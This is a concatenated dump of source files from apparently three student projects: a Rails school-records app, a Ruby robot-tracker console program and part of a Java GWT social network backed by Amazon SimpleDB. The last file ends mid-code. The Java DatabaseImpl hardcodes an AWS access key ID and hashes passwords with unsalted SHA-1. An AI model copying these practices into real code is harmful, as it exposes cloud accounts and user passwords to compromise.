student_grade_subject" do assert_difference('StudentGradeSubject.count', -1) do delete :destroy, id: @student_grade_subject end assert_redirected_to student_grade_subjects_path end end <file_sep>/app/models/teacher_subject_section.rb class TeacherSubjectSection < ActiveRecord::Base #databse relations belongs_to :teacher belongs_to :subject end <file_sep>/app/views/class_sections/_class_section.json.jbuilder json.extract! class_section, :id, :section_name, :room_number, :academic_track, :adviser, :created_at, :updated_at json.url class_section_url(class_section, format: :json)<file_sep>/app/views/student_year_sections/_student_year_section.json.jbuilder json.extract! student_year_section, :id, :student_lrn, :year_level, :section_name, :created_at, :updated_at json.url student_year_section_url(student_year_section, format: :json)<file_sep>/app/models/student_year_section.rb class StudentYearSection < ActiveRecord::Base #database relations belongs_to :student belongs_to :class_section end <file_sep>/app/models/announcement.rb class Announcement < ActiveRecord::Base #database relations belongs_to :teacher end <file_sep>/app/models/teacher.rb class Teacher < ActiveRecord::Base #database relations has_many :announcements has_many :teacher_advise_classes has_many :teacher_subject_section has_many :class_sections, through: :teacher_advise_classes has_many :subjects, through: :teacher_subject_section end <file_sep>/app/views/subjects/_subject.json.jbuilder json.extract! subject, :id, :subject_title, :schedule, :instructor, :created_at, :updated_at json.url subject_url(subject, format: :json)<file_sep>/app/models/student.rb class Student < ActiveRecord::Base validates :student_lrn, uniqueness: true validates :student_lrn, :first_name, :last_name, :middle_name, :age, :birthdate, :religion, presence: true #database relations has_many :student_grade_subjects has_many :student_year_section has_many :subjects, through: :student_grade_subjects has_many :class_sections, through: :student_year_section has_secure_password end <file_sep>/app/controllers/student_grade_subjects_controller.rb class StudentGradeSubjectsController < ApplicationController before_action :set_student_grade_subject, only: [:show, :edit, :update, :destroy] # GET /student_grade_subjects # GET /student_grade_subjects.json def index @student_grade_subjects = StudentGradeSubject.all end # GET /student_grade_subjects/1 # GET /student_grade_subjects/1.json def show end # GET /student_grade_subjects/new def new @student_grade_subject = StudentGradeSubject.new end # GET /student_grade_subjects/1/edit def edit end # POST /student_grade_subjects # POST /student_grade_subjects.json def create @student_grade_subject = StudentGradeSubject.new(student_grade_subject_params) respond_to do |format| if @student_grade_subject.save format.html { redirect_to @student_grade_subject, notice: 'Student grade subject was successfully created.' } format.json { render :show, status: :created, location: @student_grade_subject } else format.html { render :new } format.json { render json: @student_grade_subject.errors, status: :unprocessable_entity } end end end # PATCH/PUT /student_grade_subjects/1 # PATCH/PUT /student_grade_subjects/1.json def update respond_to do |format| if @student_grade_subject.update(student_grade_subject_params) format.html { redirect_to @student_grade_subject, notice: 'Student grade subject was successfully updated.' } format.json { render :show, status: :ok, location: @student_grade_subject } else format.html { render :edit } format.json { render json: @student_grade_subject.errors, status: :unprocessable_entity } end end end # DELETE /student_grade_subjects/1 # DELETE /student_grade_subjects/1.json def destroy @student_grade_subject.destroy respond_to do |format| format.html { redirect_to student_grade_subjects_url, notice: 'Student grade subject was successfully destroyed.' } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_student_grade_subject @student_grade_subject = StudentGradeSubject.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def student_grade_subject_params params.require(:student_grade_subject).permit(:student_lrn, :subject_title, :quarter, :grade) end end <file_sep>/app/views/class_sections/show.json.jbuilder json.partial! "class_sections/class_section", class_section: @class_section<file_sep>/app/views/teacher_subject_sections/_teacher_subject_section.json.jbuilder json.extract! teacher_subject_section, :id, :license_id, :subject_title, :section_name, :created_at, :updated_at json.url teacher_subject_section_url(teacher_subject_section, format: :json)<file_sep>/app/controllers/student_year_sections_controller.rb class StudentYearSectionsController < ApplicationController before_action :set_student_year_section, only: [:show, :edit, :update, :destroy] # GET /student_year_sections # GET /student_year_sections.json def index @student_year_sections = StudentYearSection.all end # GET /student_year_sections/1 # GET /student_year_sections/1.json def show end # GET /student_year_sections/new def new @student_year_section = StudentYearSection.new end # GET /student_year_sections/1/edit def edit end # POST /student_year_sections # POST /student_year_sections.json def create @student_year_section = StudentYearSection.new(student_year_section_params) respond_to do |format| if @student_year_section.save format.html { redirect_to @student_year_section, notice: 'Student year section was successfully created.' } format.json { render :show, status: :created, location: @student_year_section } else format.html { render :new } format.json { render json: @student_year_section.errors, status: :unprocessable_entity } end end end # PATCH/PUT /student_year_sections/1 # PATCH/PUT /student_year_sections/1.json def update respond_to do |format| if @student_year_section.update(student_year_section_params) format.html { redirect_to @student_year_section, notice: 'Student year section was successfully updated.' } format.json { render :show, status: :ok, location: @student_year_section } else format.html { render :edit } format.json { render json: @student_year_section.errors, status: :unprocessable_entity } end end end # DELETE /student_year_sections/1 # DELETE /student_year_sections/1.json def destroy @student_year_section.destroy respond_to do |format| format.html { redirect_to student_year_sections_url, notice: 'Student year section was successfully destroyed.' } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_student_year_section @student_year_section = StudentYearSection.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def student_year_section_params params.require(:student_year_section).permit(:student_lrn, :year_level, :section_name) end end <file_sep>/app/views/class_sections/index.json.jbuilder json.array! @class_sections, partial: 'class_sections/class_section', as: :class_section<file_sep>/db/migrate/20170311074336_create_teacher_advise_classes.rb class CreateTeacherAdviseClasses < ActiveRecord::Migration def change create_table :teacher_advise_classes do |t| t.string :teacher_id t.string :section_name t.timestamps null: false end end end <file_sep>/test/controllers/teacher_advise_classes_controller_test.rb require 'test_helper' class TeacherAdviseClassesControllerTest < ActionController::TestCase setup do @teacher_advise_class = teacher_advise_classes(:one) end test "should get index" do get :index assert_response :success assert_not_nil assigns(:teacher_advise_classes) end test "should get new" do get :new assert_response :success end test "should create teacher_advise_class" do assert_difference('TeacherAdviseClass.count') do post :create, teacher_advise_class: { section_name: @teacher_advise_class.section_name, teacher_id: @teacher_advise_class.teacher_id } end assert_redirected_to teacher_advise_class_path(assigns(:teacher_advise_class)) end test "should show teacher_advise_class" do get :show, id: @teacher_advise_class assert_response :success end test "should get edit" do get :edit, id: @teacher_advise_class assert_response :success end test "should update teacher_advise_class" do patch :update, id: @teacher_advise_class, teacher_advise_class: { section_name: @teacher_advise_class.section_name, teacher_id: @teacher_advise_class.teacher_id } assert_redirected_to teacher_advise_class_path(assigns(:teacher_advise_class)) end test "should destroy teacher_advise_class" do assert_difference('TeacherAdviseClass.count', -1) do delete :destroy, id: @teacher_advise_class end assert_redirected_to teacher_advise_classes_path end end <file_sep>/app/controllers/teacher_advise_classes_controller.rb class TeacherAdviseClassesController < ApplicationController before_action :set_teacher_advise_class, only: [:show, :edit, :update, :destroy] # GET /teacher_advise_classes # GET /teacher_advise_classes.json def index @teacher_advise_classes = TeacherAdviseClass.all end # GET /teacher_advise_classes/1 # GET /teacher_advise_classes/1.json def show end # GET /teacher_advise_classes/new def new @teacher_advise_class = TeacherAdviseClass.new end # GET /teacher_advise_classes/1/edit def edit end # POST /teacher_advise_classes # POST /teacher_advise_classes.json def create @teacher_advise_class = TeacherAdviseClass.new(teacher_advise_class_params) respond_to do |format| if @teacher_advise_class.save format.html { redirect_to @teacher_advise_class, notice: 'Teacher advise class was successfully created.' } format.json { render :show, status: :created, location: @teacher_advise_class } else format.html { render :new } format.json { render json: @teacher_advise_class.errors, status: :unprocessable_entity } end end end # PATCH/PUT /teacher_advise_classes/1 # PATCH/PUT /teacher_advise_classes/1.json def update respond_to do |format| if @teacher_advise_class.update(teacher_advise_class_params) format.html { redirect_to @teacher_advise_class, notice: 'Teacher advise class was successfully updated.' } format.json { render :show, status: :ok, location: @teacher_advise_class } else format.html { render :edit } format.json { render json: @teacher_advise_class.errors, status: :unprocessable_entity } end end end # DELETE /teacher_advise_classes/1 # DELETE /teacher_advise_classes/1.json def destroy @teacher_advise_class.destroy respond_to do |format| format.html { redirect_to teacher_advise_classes_url, notice: 'Teacher advise class was successfully destroyed.' } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_teacher_advise_class @teacher_advise_class = TeacherAdviseClass.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def teacher_advise_class_params params.require(:teacher_advise_class).permit(:teacher_id, :section_name) end end <file_sep>/app/views/teachers/_teacher.json.jbuilder json.extract! teacher, :id, :license_id, :first_name, :middle_name, :last_name, :contact_no, :created_at, :updated_at json.url teacher_url(teacher, format: :json)<file_sep>/app/models/teacher_advise_class.rb class TeacherAdviseClass < ActiveRecord::Base #database relations belongs_to :teacher belongs_to :class end <file_sep>/app/models/student_grade_subject.rb class StudentGradeSubject < ActiveRecord::Base #database relations belongs_to :student belongs_to :subject end
e6bacda3a2a6249730c2fd3461f3f5d4d2f51468
[ "Ruby" ]
34
Ruby
KuyaThor/myNCSHS
4625bbc4d10370ebc8aef6cbec004c3a79b4dccb
fb2695c3ad4abb66c204d97f6a0b58590b863ee6
refs/heads/master
<file_sep> # Defining the constants for input commands # Please define values in caps while extending/modifying in future FORWARD = "F" BACKWARD = "B" RIGHT = "R" LEFT = "L" # Defining all possible commands available for regular expression COMMANDS = [FORWARD,BACKWARD,RIGHT,LEFT] MOVEMENT_COMMANDS = [FORWARD,BACKWARD] =begin Setting the initial (x,y) coordinates of the Robot to (0,0) and the current(initial) direction to 0 (facing positive y-axis) =end $x = 0 $y = 0 $current_direction = 0 =begin Method to handle the robot control command entered by user Validate the input: - If failed return to the main function - Else pass the control to respective function Once the functions are executed print the result =end def command_handler(input) list = input.split(",") list.each do |instruction| instruction = instruction.upcase.gsub(/\s+/, "") if !(/^([a-zA-Z]+)([0-9]+)$/.match?(instruction)) puts "\nInvalid input command. Please type `i` to refer to the instructions" return end command = instruction[0..(instruction.index(/\d/)-1)].upcase if COMMANDS.include? command unit = instruction[(instruction.index(/\d/))..(instruction.length-1)].to_i (MOVEMENT_COMMANDS.include? command)? move_robot(command, unit) : rotate_robot(command, (unit % 4)) else puts "\nInvalid input command. Please type `i` to refer to the instructions" return end end puts "\n[------ Minimum distance to origin is `#{$x.abs() + $y.abs()}` ------]" $x = 0 $y = 0 $current_direction = 0 end # Method to check current_direction and move robot `unit` times def move_robot(command, unit) if /#{FORWARD}/.match?(command) case $current_direction when 0 $y += unit when 1 $x += unit when 2 $y -= unit else $x -= unit end elsif /#{BACKWARD}/.match?(command) case $current_direction when 0 $y -= unit when 1 $x -= unit when 2 $y += unit else $x += unit end end end # Method to rotate the robot `unit` times and update the current_direction def rotate_robot(command, unit) if /#{RIGHT}/.match?(command) case unit when 1 $current_direction += 1 when 2 $current_direction += 2 when 3 $current_direction += 3 else $current_direction += 0 end elsif /#{LEFT}/.match?(command) case unit when 1 $current_direction += 3 when 2 $current_direction += 2 when 3 $current_direction += 1 else $current_direction += 0 end end $current_direction %= 4 end # General instructions to users about the commands to control Robot's Behaviour def instructions puts "\n\t\t <------Instructions------>" puts "You can control the robot with a series of `<command><number>` pair" puts "Use comma(,) to separate the pairs" puts "The robot accepts the following commands:" puts "\t* `#{FORWARD}` - move forward by 1 unit" puts "\t* `#{BACKWARD}` - move backward by 1 unit" puts "\t* `#{RIGHT}` - turn right by 90 degree" puts "\t* `#{LEFT}` - turn left by 90 degree\n" puts "The numbers specify the unit of motion or rotation" puts "For eg., '#{LEFT}2' means turn left by 180(2 times 90) degrees" puts "\t '#{BACKWARD}3' means move backwards by 3 units" puts "Sample Command: #{FORWARD}1,#{RIGHT}1,#{BACKWARD}2,#{LEFT}1,#{BACKWARD}3" end # Starting point of the application puts "\t-----------------------------------------------------------" puts "\t|\t\tWelcome to Robot Controller |" puts "\t|\tYou can exit the application by entering `x` |" puts "\t|\tYou can display instructions by entering `i` |" puts "\t-----------------------------------------------------------" instructions # Get user input till the user wishes to exit loop do puts "\nPlease enter your input" user_input = gets.chomp case user_input when "x" puts "Thank you for your time. Have a good day!" break when "i" instructions else command_handler(user_input) end break if user_input.upcase == "X" end <file_sep># Code Test - Robot Tracker ## Ruby Application Ruby program to track a robot, which receives simple input commands to move in a 2-Dimensional space. The goal of the application is to track the robot's movement and find the minimum distance it must travel to reach the origin. ### Available commands: * `F` - move forward 1 unit * `B` - move backward 1 unit * `R` - turn right 90 degrees * `L` - turn left 90 degrees ### Sample Input and Output to test the app * Input/Output Endpoint: - Console * Inputs: - a string of comma-separated commands eg `F1,R1,B2,L1,B3` * Output: - the minimum amount of distance to get back to the starting point (`4` in this case) ### Instructions to install and execute the application #### Note: You might need latest ruby version(2.6.5-1), which can be found here https://rubyinstaller.org/downloads/ * Clone the repository * Open Command prompt/Terminal and `cd` to the repository * Run `ruby RobotTrackerApp.rb` ### Design Assumptions and Decisions * The robot's movement can be tracked on a 2-Dimensional plane using x,y-axes and current direction (using integers - 0,1,2,3) * The initial displacement can be assigned to (0,0) [(x,y) coordinates] * The initial direction can be assigned 0(facing positive y-axis) * The program will only accept input in the form `<command><number>`.All other commands (eg., `F,R,...`) will be invalidated using regex * The application is designed to make future extensions and modifications easy as much as possible by using constants for commands
86cb0b118178ec1d7d9d944cca991b88cf22a0ff
[ "Markdown", "Ruby" ]
2
Ruby
karthiksathasivan/CodeChallenge
10f43b55eb5ad7a0d123e427410856473914ef92
f16f62645f254975511885530dc2b0569b827d91
refs/heads/main
<file_sep>package com.in28minutes.springboot.controller; import com.in28minutes.springboot.model.Course; import com.in28minutes.springboot.service.StudentService; import org.jboss.resteasy.annotations.jaxrs.PathParam; import javax.inject.Inject; import javax.ws.rs.Consumes; import javax.ws.rs.GET; import javax.ws.rs.POST; import javax.ws.rs.Path; import javax.ws.rs.Produces; import javax.ws.rs.core.Context; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import javax.ws.rs.core.UriInfo; import java.util.Collections; import java.util.List; @Path("students") @Produces(MediaType.APPLICATION_JSON) @Consumes(MediaType.APPLICATION_JSON) public class StudentController { @Inject private StudentService studentService; @GET @Path("/{studentId}/courses") public List<Course> retrieveCoursesForStudent(@PathParam String studentId) { return studentService.retrieveCourses(studentId); } @GET @Path("/{studentId}/courses/{courseId}") public Course retrieveDetailsForCourse(@PathParam String studentId, @PathParam String courseId) { return studentService.retrieveCourse(studentId, courseId); } @POST @Path("/{studentId}/courses") public Response registerStudentForCourse( @PathParam String studentId, Course newCourse, @Context UriInfo uriInfo) throws Exception { Course course = studentService.addCourse(studentId, newCourse); if (course == null) return Response.noContent().build(); return Response.created(uriInfo.getRequestUriBuilder().path(course.getId()).build().toURL().toURI()).build(); } }
965552445235148fee2e863a46f955973b1b8532
[ "Java" ]
1
Java
stuartwdouglas/quarkus-test-example
17115f02e2f1f3e260236155e3a7613392a9df57
5b43854b22f056a8c1f4fc8e7577210f93c4ccf7
refs/heads/master
<repo_name>bengitles/Penn_Book<file_sep>/src/edu/upenn/mkse212/mapreduce/InitMapper.java package edu.upenn.mkse212.mapreduce; import java.io.IOException; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Mapper; import org.apache.hadoop.mapreduce.Mapper.Context; public class InitMapper extends Mapper<LongWritable, Text, Text, Text> { public void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { String[] nameAndConnections = value.toString().split("\t"); String[] connections = nameAndConnections[1].split(" "); for (int i = 0; i < connections.length; i++) { context.write(new Text(nameAndConnections[0]), new Text(connections[i])); context.write(new Text(connections[i]), new Text(nameAndConnections[0])); } } }<file_sep>/src/edu/upenn/mkse212/client/WelcomeBar.java package edu.upenn.mkse212.client; import com.google.gwt.user.client.ui.AbsolutePanel; import com.google.gwt.user.client.ui.DockPanel; import com.google.gwt.user.client.ui.HTML; import com.google.gwt.user.client.ui.Image; public class WelcomeBar { private final PennBook parent; private final AbsolutePanel p; public WelcomeBar(PennBook parent) { this.parent = parent; p = new AbsolutePanel(); } void display() { p.setWidth("700px"); p.setHeight("70px"); // just for home page... says "Welcome" Image crest = new Image("http://www.yuethon.com/images/Penn_Crest.jpg"); crest.setPixelSize(50, 50); p.add(crest,10,10); HTML html = new HTML("<font size=\"5\">Welcome to PennBook.</font>"); p.add(html,70,20); parent.getDockPanel().add(p,DockPanel.NORTH); } void hide() { parent.getDockPanel().remove(p); } } <file_sep>/src/edu/upenn/mkse212/mapreduce/DiffReducer2.java package edu.upenn.mkse212.mapreduce; import java.io.IOException; import org.apache.hadoop.io.DoubleWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Reducer; import org.apache.hadoop.mapreduce.Reducer.Context; public class DiffReducer2 extends Reducer<Text, DoubleWritable, DoubleWritable, Text> { /* * Takes in all of the differences of each node's socialRank from one iteration to * another and emits the largest one. */ public void reduce(Text key, Iterable<DoubleWritable> values, Context context) throws IOException, InterruptedException { Double max = Double.MIN_VALUE; for(DoubleWritable v : values) { if(v.get() > max) max = v.get(); } context.write(new DoubleWritable(max), new Text("")); } } <file_sep>/src/edu/upenn/mkse212/server/DatabaseImpl.java /******************************************************************************* * Copyright 2011 Google Inc. All Rights Reserved. * * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ package edu.upenn.mkse212.server; import edu.upenn.mkse212.client.Database; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.*; import com.google.gwt.user.client.rpc.AsyncCallback; import com.google.gwt.user.server.rpc.RemoteServiceServlet; import com.amazonaws.services.simpledb.*; import com.amazonaws.services.simpledb.model.*; import com.amazonaws.auth.*; import edu.upenn.mkse212.*; public class DatabaseImpl extends RemoteServiceServlet implements Database { AmazonSimpleDBClient db; public DatabaseImpl() { String userID = "AKIAJ5VY5NNUZEYZMLSQ"; String authKey = "<KEY>"; db = new AmazonSimpleDBClient(new BasicAWSCredentials(userID, authKey)); } //This code is copied from http://www.sha1-online.com/sha1-java/ private static String hash(String input) throws NoSuchAlgorithmException { MessageDigest mDigest = MessageDigest.getInstance("SHA1"); byte[] result = mDigest.digest(input.getBytes()); StringBuffer sb = new StringBuffer(); for (int i = 0; i < result.length; i++) { sb.append(Integer.toString((result[i] & 0xff) + 0x100, 16).substring(1)); } return sb.toString(); } //Validates that the user logged in with a valid username and password. //Returns true if he did, false if not. @Override public Boolean validateLogin(String username, String password) { GetAttributesResult result = db.getAttributes( new GetAttributesRequest(Names.USERS, username)); List<Attribute> attributeList = result.getAttributes(); String hash = ""; try { hash = hash(password); } catch (NoSuchAlgorithmException e1) { System.out.println("Unable to hash password"); e1.printStackTrace(); } for (Attribute a : attributeList) { if (a.getName().equals(Names.PASSWORD)) { return new Boolean(a.getValue().equals(hash)); } } return new Boolean(false); } //When called, it increases loginsSoFar by one for the given user //and returns that new values; @Override public Integer incrementLogins(String username){ GetAttributesResult result = db.getAttributes( new GetAttributesRequest(Names.USERS, username)); List<Attribute> attributeList = result.getAttributes(); int loginsSoFar = 0; for (Attribute a : attributeList) { if (a.getName().equals(Names.LOGINS_SO_FAR)) loginsSoFar = Integer.valueOf(a.getValue()).intValue(); } loginsSoFar ++; List<ReplaceableAttribute> list = new ArrayList<ReplaceableAttribute>(); list.add(new ReplaceableAttribute(Names.LOGINS_SO_FAR, ""+loginsSoFar, false)); db.putAttributes(new PutAttributesRequest(Names.USERS, username, list, new UpdateCondition())); return new Integer(loginsSoFar); } /* * Creates an account with the given information. Returns true if all were put * onto the database successfully, false otherwise. */ @Override public Boolean createAccount(String fName, String lName, String email, String password){ if (!this.getUserAttributeList(email).isEmpty()) return new Boolean(false); List<ReplaceableAttribute> attributeList = new ArrayList<ReplaceableAttribute>(); attributeList.add(new ReplaceableAttribute(Names.FIRST_NAME,fName,true)); attributeList.add(new ReplaceableAttribute(Names.LAST_NAME,lName,true)); attributeList.add(new ReplaceableAttribute(Names.EMAIL,email,false)); attributeList.add(new ReplaceableAttribute(Names.USERNAME,email,false)); try { attributeList.add(new ReplaceableAttribute(Names.PASSWORD,hash(password),true)); } catch (NoSuchAlgorithmException e1) { System.out.println("Unable to hash password"); e1.printStackTrace(); return new Boolean(false); } db.putAttributes(new PutAttributesRequest(Names.USERS,email,attributeList, new UpdateCondition())); return new Boolean(true); } /* * Puts the given UNIQUE value to the given attribute of the given user. * Returns true once the put is complete. */ @Override public Boolean putAttribute(String username, String attribute, String value) { List<ReplaceableAttribute> attributeList = new ArrayList<ReplaceableAttribute>(); if (attribute.equals(Names.PASSWORD)) try { value = hash(value); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); return false; } attributeList.add(new ReplaceableAttribute(attribute, value, true)); db.putAttributes(new PutAttributesRequest(Names.USERS, username, attributeList, new UpdateCondition())); return new Boolean(true); } /* * Puts the given list of NON-UNIQUE values to the given attribute of the given user. * Returns false if the List is empty. Returns true once the put is complete. */ @Override public Boolean putAttributes(String username, String attribute, List<String> values) { if (values.size() == 0) return false; List<ReplaceableAttribute> attributeList = new ArrayList<ReplaceableAttribute>(); for (String v : values) { attributeList.add(new ReplaceableAttribute(attribute, v, false)); } db.putAttributes(new PutAttributesRequest(Names.USERS, username, attributeList, new UpdateCondition())); return new Boolean(true); } private List<Attribute> getUserAttributeList(String username) { GetAttributesResult result = db.getAttributes( new GetAttributesRequest(Names.USERS, username)); List<Attribute> attributeList = result.getAttributes(); return new ArrayList<Attribute>(attributeList); } public List<String> getUsers(String prefix) { List<String> list = new ArrayList<String>(); StringBuffer selectExpression = new StringBuffer("SELECT * FROM '"); selectExpression.append(Names.USERS); selectExpression.append("'"); SelectResult result = db.select(new SelectRequest( selectExpression.toString())); for (Item i : result.getItems()) { String name = i.getName(); if (name.startsWith(prefix)) list.add(i.getName()); } return list; } //Gets the attribute of the user and returns it as a String. @Override public String getValue(String username, String attribute) { for (Attribute a : this.getUserAttributeList(username)) { if(a.getName().equals(attribute)) { String value = a.getValue(); if (value==null) return ""; return new String(value); } } return null; } //Gets all of the associated values of an attribute for a user and //returns them as a List of Strings. @Override public List<String> getValues(String username, String attribute) { List<String> values = new ArrayList<String>(); for (Attribute a : this.getUserAttributeList(username)) { if(a.getName().equals(attribute)) values.add(a.getValue()); } return new ArrayList<String>(values); } @Override public Boolean putWallpost(String pto, String pfrom, String pcontent){ System.out.println("hello"); List<ReplaceableAttribute> attributeList = new ArrayList<ReplaceableAttribute>(); attributeList.add(new ReplaceableAttribute(Names.POST_TO,pto,false)); attributeList.add(new ReplaceableAttribute(Names.POST_FROM,pfrom,false)); attributeList.add(new ReplaceableAttribute(Names.POST_CONTENT,pcontent,false)); db.putAttributes(new PutAttributesRequest(Names.USERS,"<EMAIL>",attributeList, new UpdateCondition())); return new Boolean(true); } /* @Override public Boolean putWallpost(String pto, String pfrom, String pcontent){ System.out.println("hello"); // Create wallpost id int numPosts = this.getValues(pto, Names.WALLPOSTIDS).size() + 1; System.out.println(numPosts); // Add leading zeros to numPosts and concatenate with pto String pid = String.format("%05d", numPosts) + pto; System.out.println(pid); // Add wallpostid to 'Users' database List<String> pidList = new ArrayList<String>(); pidList.add(pid); this.putAttributes(pto, pid, pidList); // Add wallpost to 'Wallpost' database List<ReplaceableAttribute> attributeList = new ArrayList<ReplaceableAttribute>(); attributeList.add(new ReplaceableAttribute(Names.POST_TO,pto,false)); attributeList.add(new ReplaceableAttribute(Names.POST_FROM,pfrom,false)); attributeList.add(new ReplaceableAttribute(Names.POST_CONTENT,pcontent,false)); //Add timestamp Date d = new Date(); attributeList.add(new ReplaceableAttribute(Names.POST_TIME,d.toString(),false)); db.putAttributes(new PutAttributesRequest(Names.WALLPOSTS,pid,attributeList, new UpdateCondition())); return new Boolean(true); } */ }<file_sep>/src/edu/upenn/mkse212/client/ProfilePanel.java package edu.upenn.mkse212.client; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import com.google.gwt.event.dom.client.ClickEvent; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.user.client.DOM; import com.google.gwt.user.client.rpc.AsyncCallback; import com.google.gwt.user.client.ui.AbsolutePanel; import com.google.gwt.user.client.ui.Button; import com.google.gwt.user.client.ui.DockPanel; import com.google.gwt.user.client.ui.FlowPanel; import com.google.gwt.user.client.ui.Image; import com.google.gwt.user.client.ui.Label; import com.google.gwt.user.client.ui.TabPanel; import com.google.gwt.user.client.ui.TextArea; import com.google.gwt.user.client.ui.VerticalPanel; import edu.upenn.mkse212.Names; public class ProfilePanel { private PennBook parent; private DatabaseAsync db; private TabPanel panel; public ProfilePanel(PennBook theParent) { this.parent = theParent; db = parent.getDatabaseService(); } void display(final String username) { // Create panel for display panel = new TabPanel(); /*-------------------Query Details-------------------*/ // Create map to store labels final Map<String, Label> attributes = new HashMap<String, Label>(); attributes.put(Names.FIRST_NAME, new Label()); attributes.put(Names.LAST_NAME, new Label()); attributes.put(Names.EMAIL, new Label()); attributes.put(Names.BIRTHDAY, new Label()); attributes.put(Names.AFFILIATION, new Label()); attributes.put(Names.INTERESTS, new Label()); // Grab info from database for (final String att : attributes.keySet()) { attributes.get(att).setText("loading..."); if (!att.equals(Names.INTERESTS)) { db.getValue(username, att, new AsyncCallback<String>() { @Override public void onFailure(Throwable caught) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(String result) { attributes.get(att).setText(result); } }); } else { db.getValues(username, Names.INTERESTS, new AsyncCallback<List<String>>() { @Override public void onFailure(Throwable caught) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(List<String> results) { StringBuffer sb = new StringBuffer(); int counter = 1; for (String s : results) { sb.append(s); if (counter < results.size()) sb.append(", "); counter++; } attributes.get(Names.INTERESTS).setText(sb.toString()); } }); } } /*-------------------Wall Tab Setup-------------------*/ final VerticalPanel wall = new VerticalPanel(); wall.setWidth("500px"); panel.add(wall,"Wall"); // only show wall details if 2 users are friends parent.getDatabaseService().getValues(parent.getNavigationBar().getUser(), Names.FRIENDS, new AsyncCallback<List<String>>() { @Override public void onFailure(Throwable arg0) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(List<String> results) { if (results.contains(username) || username.equals(parent.getNavigationBar().getUser())) { parent.getDatabaseService().getValues(username, Names.FRIENDS, new AsyncCallback<List<String>>() { @Override public void onFailure(Throwable arg0) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(List<String> results) { if (results.contains(parent.getNavigationBar().getUser()) || username.equals(parent.getNavigationBar().getUser())) { // Panel to hold input form AbsolutePanel inputPanel = new AbsolutePanel(); inputPanel.setWidth("480px"); inputPanel.setHeight("110px"); wall.add(inputPanel); // Text input area final TextArea inputBox = new TextArea(); inputBox.setWidth("460px"); inputBox.setHeight("50px"); inputBox.setText("Write something..."); inputPanel.add(inputBox,10,10); // Post button Button postButton = new Button("Post"); DOM.setStyleAttribute(postButton.getElement(), "textAlign", "center"); postButton.setWidth("100px"); inputPanel.add(postButton,350,80); // Add ClickHandler to button postButton.addClickHandler(new ClickHandler() { @Override public void onClick(ClickEvent event) { // Record values to 'Wallposts' database final String pto = username; final String pfrom = parent.getNavigationBar().getUser(); final String pcontent = inputBox.getText(); parent.getDatabaseService().putWallpost(pto,pfrom,pcontent, new AsyncCallback<Boolean>() { public void onFailure(Throwable caught) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } public void onSuccess(Boolean result) { if (!result.booleanValue()) { parent.popupBox("Error", "E-mail address already in use"); } else { parent.popupBox("Success", "Log in to get started!"); } } }); } }); /* parent.getDatabaseService().getValues(username, Names.WALLPOSTS, new AsyncCallback<List<String>>() { @Override public void onFailure(Throwable arg0) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(List<String> results) { for (final String post : results) { AbsolutePanel host = new AbsolutePanel(); host.setHeight("80px"); host.setWidth("500px"); AbsolutePanel p = new AbsolutePanel(); DOM.setStyleAttribute(p.getElement(), "border", "1px solid black"); p.setHeight("60px"); p.setWidth("480px"); host.add(p,10,10); Label postLabel = new Label(post); postLabel.setWidth("460px"); p.add(postLabel,10,10); wall.add(host); } } }); */ } else { parent.getDatabaseService().getValues(username, Names.WALLPOSTS, new AsyncCallback<List<String>>() { @Override public void onFailure(Throwable arg0) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(List<String> results) { for (final String post : results) { AbsolutePanel host = new AbsolutePanel(); host.setHeight("80px"); host.setWidth("500px"); AbsolutePanel p = new AbsolutePanel(); DOM.setStyleAttribute(p.getElement(), "border", "1px solid black"); p.setHeight("60px"); p.setWidth("480px"); host.add(p,10,10); Label postLabel = new Label(post); postLabel.setWidth("460px"); p.add(postLabel,10,10); wall.add(host); } } }); } } }); } } }); /*-------------------Info Tab Setup-------------------*/ AbsolutePanel info = new AbsolutePanel(); info.setWidth("500px"); info.setHeight("400px"); panel.add(info,"Information"); info.add(new Label("E-mail:"),10,10); info.add(attributes.get(Names.EMAIL),80, 10); info.add(new Label("Affiliation:"),10,60); info.add(attributes.get(Names.AFFILIATION),80, 60); info.add(new Label("Birthday:"),10,110); info.add(attributes.get(Names.BIRTHDAY),80, 110); info.add(new Label("Interests:"),10,160); info.add(attributes.get(Names.INTERESTS),80, 160); /*-------------------Friends Tab Setup-------------------*/ final FlowPanel friends = new FlowPanel(); friends.setWidth("500px"); panel.add(friends,"Friends"); parent.getDatabaseService().getValues(username, Names.FRIENDS, new AsyncCallback<List<String>>() { @Override public void onFailure(Throwable arg0) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(List<String> results) { for (final String friend : results) { parent.getDatabaseService().getValues(friend, Names.FRIENDS, new AsyncCallback<List<String>>() { @Override public void onFailure(Throwable arg0) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(List<String> results) { if (results.contains(username)) { AbsolutePanel p = new 